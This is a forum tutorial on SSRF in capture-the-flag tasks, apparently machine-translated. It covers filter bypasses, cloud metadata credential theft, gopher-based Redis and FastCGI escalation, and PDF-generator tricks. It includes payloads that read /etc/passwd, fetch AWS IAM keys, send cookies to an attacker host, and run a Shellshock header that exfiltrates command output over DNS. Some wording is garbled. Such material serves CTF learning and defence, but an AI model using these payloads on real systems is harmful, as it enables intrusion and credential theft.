SSRF vulnerability in CTF: bypassing filters in practice

Depov

Moderator
Staff member
MODERATOR
ULTIMATE
SUPREME
PREMIUM
MEMBER
Joined
Feb 18, 2025
Messages
428
Reaction score
698
Deposit
0$
Intelligence: Searching for SSRF vulnerabilities in CTF tasks

The first rule is not to pick the blind forms. SSRF hides anywhere the application accepts the URL and makes a server request for it. CWE-918 puts it this way: “the web server receives a URL or similar request from an upstream and retrieves the contents of this URL, but does it not sorely receive that request is being sent to the expected destination.” On CTF-language: look for parameters in which you can set the address.
Obvious entry points — parameters of the view url=, src=, dest=, callback=, feed=, redirect=, uri=, target=, reference=. In CTF, they are most often in a GET line or in a POST request body. You turn on Burp Proxy, go to all pages of the application - each query with a URL-like parameter is checked first.

Less obvious points that most teams miss:

HTTP headers — Host, X-Forwarded-For, X-Forwarded-Host, Referer. Some apps use the value of these headers to build internal URLs. According to PortSwigger, the Referer header is handled by server-side analytical systems that follow the link to analyze the referrer — and this is already a blind SSRF.
Downloading files on the link is the forms of avatars, data import, parsing RSS feeds. If the application returns the contents or metadata of the downloaded file, it is full SSRF.
PDF generators and HTML renders – if the application generates PDF from user input (cheque, account, report), HTML injection through <iframe> or <img> can become a full SSRF. Read more in a separate section below.
URL inside files — XML External Entities in downloadable documents, SVG tag <image href>, markdown links to images, external links in DOCX/XLSX. All this can trigger a server request when parsing.

To confirm SSRF use out-of-band detection: Burp Collaborator or interactsh by ProjectDiscovery (free alternative). You put the address of the controlled server in a suspicious parameter - if the callback came, SSRF confirmed. The Collaborator Everywhere extension for Burp automatically inserts payloads into the headers of outgoing queries and captures callbacks. According to MITRE ATT&CK, initial operation of SSRF — Exploit Public-Facing Application (T1190, Initial Access).
Bypassing SSRF blacklist filters: payloads and bypasses

If the author of the taska is not quite a beginner, straight http://localhost or http://127.0.0.1 will be blocked. Blacklist filters check the URL string for prohibited substrings. The problem with the blacklist approach is that it never covers all variants of the same address.
SSRF via redirect and DNS rebinding

When all IP variants are closed, the next step is redirects. Raise your server (VPS or ngrok) which answers any GET request 302 Location: http://127.0.0.1:порт/path. The application checks the URL before the request, sees your legitimate domain - passes. The HTTP client goes to the address, receives a redirect and obediently goes to localhost.

Even more effective is open redirect on the target domain. If the application has an endpoint of the view /redirect?url=http://127.0.0.1/admin, you frame it as a SSRF-payload: the application sees its own domain, passes the whitelist check, and then redirects the request to localhost. Change of protocol at redirect (http: → https: and back) bypass part of the anti-SSRF filters that check the circuit.

DNS rebinding is an advanced technique for bypassing filters that will resolve DNS before sending a request. The filter sends a DNS request, receives a legitimate IP (e.g. 1.2.3.4), considers it safe. But there is time between verification and real query — and in these milliseconds, the DNS response changes to 127.0.0.1 (TTL records = 0). For the generation of rebinding domains there is a service taviso – lock.cmpxchg8b.com/rebinder.html: specify two IP (legitimate and target), you get a domain that “jumps” between them (the service is unstable, the update is not guaranteed; if you do not have access to, use your own DNS server with TTL = 0). Less – IP alternates by accident, so the attack may require several attempts.
Bypassing SSRF whitelist filters

Whitelist filters are more serious than blacklist: the application allows requests only to the URL containing a certain domain. But the URL specification contains nuances that developers miss when manually parsing. These techniques are the main gap between Russian-language materials on SSRF, and they are set by the authors of medium and high-level tasks.

Four main vectors of SSRF whitelist bypass (according to PortSwigger):

Credentials in URL (Symbol @). URL https://expected-host:fakepassword@evil-host by specification refers to evil-host, eh expected-host interpreted as a username. Filter looking for a substring expected-host - she is, the check is passed. But the request goes to evil-host.

URL fragment (symbol #). In https://evil-host#expected-host all after # – a fragment that does not send to the server. Filter sees expected-host in the line and passes. The request goes to evil-host.

DNS hierarchy. Domain expected-host.evil-host contains a substring expected-host, but will be resolated through DNS evil-host, which controls the attacker. The filter is satisfied with the presence of the expected name, DNS resolvit in the desired IP.

Combination with URL coding. Symbols @ and # can be URL-encoded (%40, %23), and if the filter code and the HTTP client code are decoded differently, the whitelist is bypassing the difference in interpretation. Double-encoding (%2540 for @) enhances the effect – some servers recursively decode the input data.

In practice, whitelist bypass in CTF requires a combination of techniques. One symbol @ may not work, but @ + URL-encoding + redirect — already working. It's a puzzle, and the solution is often a selection of combinations at Burp Repeater. I usually start with @, then add coding, then screw the redirect - and on one of the steps the filter is handed over.
Operation of SSRF in practice: from port scanning to cloud metadata

SSRF vulnerability in CTF is rarely the ultimate goal. This is a springboard: from SSRF to reading internal files, stealing tokens, executing commands. The chain develops in several stages.

The first step after SSRF confirmation is to scan the internal ports. You're setting it up http://127.0.0.1:pORT/ with ports overtake through Burp Intruder or ffuf. According to different answers (200, 403, 500, timeout, different body length) you define open services. This is Network Service Discovery (T1046). Typical finds in CTF: Redis on 6379, Elasticsearch at 9200, internal API at 3000/5000/8080, MySQL at 3306.

To read local files, use the protocol file:// – payload file:///etc/passwd via SSRF parameter. If the HTTP client of the application supports this scheme (cURL, PHP file_get_contents, Java URL), the contents of the file will return in response. This is the Data from Local System (T1005). In CTF, the flag often lies in /flag, /flag.txt, /app/flag.txt or in environment variables (read through file:///proc/self/environ).
Access to internal services via SSRF

Internal services behind the firewall trust requests from localhost – “who else will turn from the inside, but not their own?”. This happens for three reasons: access control is implemented at the level of reverse proxy (not applications), disaster recovery left access without authentication from localhost, or the administrative interface listens on a separate port that does not stick out. In CTF Endpoints /admin, /internal/api/key, /secret almost always available when accessed via SSRF without additional credentials. In addition to localhost, it is worth going through internal subnets: http://192.168.0.x/, http://10.0.0.x/ – the task can emulate an internal network with multiple hosts (Remote System Discovery, T1018).
SSRF in cloud metadata: stealing IAM tokens

If the CTF task is deployed on AWS EC2 or emulates the cloud environment, metadata endpoint is the first target. Address http://169.254.169.254/latest/meta-data/ returns information about instance, and the way /latest/meta-data/iam/security-credentials/ name IAM roles. Request a full path with the name of the role - you get JSON with AccessKeyId, SecretAccessKey and Token. This data is sufficient for authentication through AWS CLI. Technique – Cloud Instance Metadata API (T1552.005, Credential Access).

AWS IMDSv2 complicates the task: to access metadata, you need a token obtained through a PUT request with a title X-aws-ec2-metadata-token-ttl-seconds. Standard SSRF through GET will not work. But if the HTTP client of the application supports the gopher protocol, you can form an arbitrary PUT request - this is below.

For GCP metadata endpoint — http://metadata.google.internal/computeMetadata/v1/, but a title is required Metadata-Flavor: Google. If SSRF allows you to control the headers (via CRLF injection in the URL), this title can be added. Azure uses http://169.254.169.254/metadata/instance?api-version=2021-02-01 with headline Metadata: true.
SSRF payload examples: gopher protocol and escalation to RCE

Gopher Protocol (gopher://) – bridge from SSRF to full command execution. Unlike HTTP, gopher allows you to send arbitrary bytes to any TCP port. If the application HTTP client supports gopher:// (cURL, PHP with curl-wrappers, Python urllib in older versions), SSRF is transformed into a universal TCP client. It sounds harmless, but in fact, carte blanche.

The most frequent escalation is SSRF to RCE via Redis. Redis listens to port 6379 without authentication by default. Through gopher-payload, you send Redis commands directly: write a cron task, webshell or SSH key. According to YesWeHack, the SSRF → Redis → RCE chain is consistently found in both CTF and bug bounty.

Gopherus generates ready-made gopher payloads for several backends (the tarunkant/Gopherus repository has not been updated for a long time - before using, check compatibility with the current version of Python):

gopherus --exploit redis
gopherus --exploit fastcgi
gopherus --exploit mysql
gopherus --exploit smtp

For Redis Gopherus, the team asks the team — for example, to record PHP-webshell in /var/www/html/shell.php. On the output - URL-encoded gopher-line, which you put in a vulnerable parameter. For FastCGI, similarly: if the server runs PHP-FPM on the 9000 port, the gopher-payload emulates the FastCGI request and executes an arbitrary PHP command. SSRFMap is an alternative in Python that automates the entire process: python3 ssrfmap.py -r request.txt -p url -m readfiles (Swisskyrepo/SSRFmap repository has not been actively supported for a long time – check compatibility with the current version of Python and dependencies).

SMTP via gopher allows you to send emails on behalf of the server. In CTF tasks, where you need to reset your admin password through an internal SMTP on port 25, this is a direct path to the flag.
Blind SSRF in web CTF tasks

Blind SSRF – the server makes a request, but the answer is not returned. Operation is very complicated, but it does not become impossible. According to YesWeHack, SSRF is more common than the classic version in production because applications process URLs asynchronously (webooks, queues, background vorters) and do not output a response to the user.

Three Ways to Prove the Slid SSRF Impact:

Out-of-band detection. Substitute Burp Collaborator address or interactshserver – if a DNS request or HTTP callback comes, the SSRF is confirmed. To extract data, add information to the URL: http://your-server.com/?data=$(whoami) – if the application substitutes the result of the command in the URL before the request, the data will leak through the DNS log.

Timing-based inference. You measure the response time when contacting the open port (quick response) and closed (tayout). The difference of 3-10 seconds allows you to scan ports without a visible response. In Burp Intruder, this is done through the Response Time column with sorting.

Blind SSRF + Shellshock. Combination with CVE-2014-6271 (GNU Bash, CVSS 9.8 CRITICAL, CWE-78) is one of the toughest techniques. If you can reach an internal server with a CGI script on Apache mod_cgi/mod_cgid (which transmits HTTP headers as environment variables to a bash subshell) on the vulnerable version of Bash (up to 4.3), title User-Agent: () { :; }; /bin/nslookup $(whoami).your-server.com execute the command and send the result through DNS. The attack works with CGI handlers, not with arbitrary HTTP services. According to PortSwigger, the expansion of the Collaborator Everywhere automates this attack. CVE-2014-6271 is included in the CISA KEV catalog on January 28, 2022 (actively operated since disclosure in September 2014), EPSS-score = 1.0 - the maximum possible probability of operation.
SSRF via PDF generators and headless browsers

A separate class of SSRF, which is passed into the CTF most often. If the application generates a PDF from a custom input (report, check, resume), it uses a headless browser (Puppeter, wkhtmltopdf, WeasyPrint) or HTML render. According to YesWeHack, headless browsers are different from the usual SSRF: they perform JavaScript, support file:// and can access localhost with a full set of browser capabilities. In fact, it is a browser without a muzzle, but with all the guts.

Main payloads for PDF generators:

<img src="http://127.0.0.1:8080/admin"> – if the image is rendered in PDF, the contents of the internal service may be visually in the PDF file
<iframe src="file:///etc/passwd"> – reading local files through the file protocol
<script>document.location='http://your-server/?c='+document.cookie</script> – if JS is executed, you can extract data through an outgoing request
<link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/"> – metadata via CSS request

To determine the PDF generator engine, check the PDF metadata (Producer/Creator field): exiftool output.pdf. If wkhtmltopdf – supports file:// and JS by default. WeasyPrint – JS does not perform, but file:// works. Puppeteer/Chromium is the most toothy: full JS, fetch API, all protocols.

Formula for CTF: See the form that generates PDF → insert an HTML tag with localhost/file:// → check the result in downloaded PDF.
CVE-2025-57822: SSRF attack on server via Next.js middleware

One of the indicative examples of recent SSRF is CVE-2025-57822, which is reported to have been used in CTF tasks (specific names and platforms require independent verification). This is SSRF in Next.js to versions 14.2.32 and 15.4.7, CVSS 6.5 (MEDIUM), vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N, CWE-918. The complexity of the attack is High (AC:H) because you need a specific middleware configuration.

The point: when in middleware is called next() without explicit request object transfer, custom headers are thrown into the server incorrectly. Title Transfer Location together with the UTM parameter (which triggers the vulnerable code-path) causes a server redirect to an arbitrary URL.

GET /?utm_source=meta HTTP/2
Host: challenge.example.com
Location: http://localhost:8080/script

The server follows the Location header and returns the contents of the internal service. Three lines of code in middleware, five minutes to operate. Further post-exploitation depends on the specific environment and is not part of CVE-2025-57822. Through the selection of ports (Burp Intruder in the range 1-65535) could be detected internal service without authentication - Network Service Discovery (T1046), through the console of which the flag reading command was performed.

In CTF, the authors of the task guarantee the presence of a vulnerable configuration - in a real pentest, you must first confirm what middleware causes next() without request object. Nuclei template for automatic verification: CVE-2025-57822.yaml in projectdiscovery/nuclei-templates repository.

The difference between CTF and real pentest here is critical: in CTF, a vulnerable configuration is guaranteed, on the AC:H prode means that most Next.js applications are not exposed.
 
Top Bottom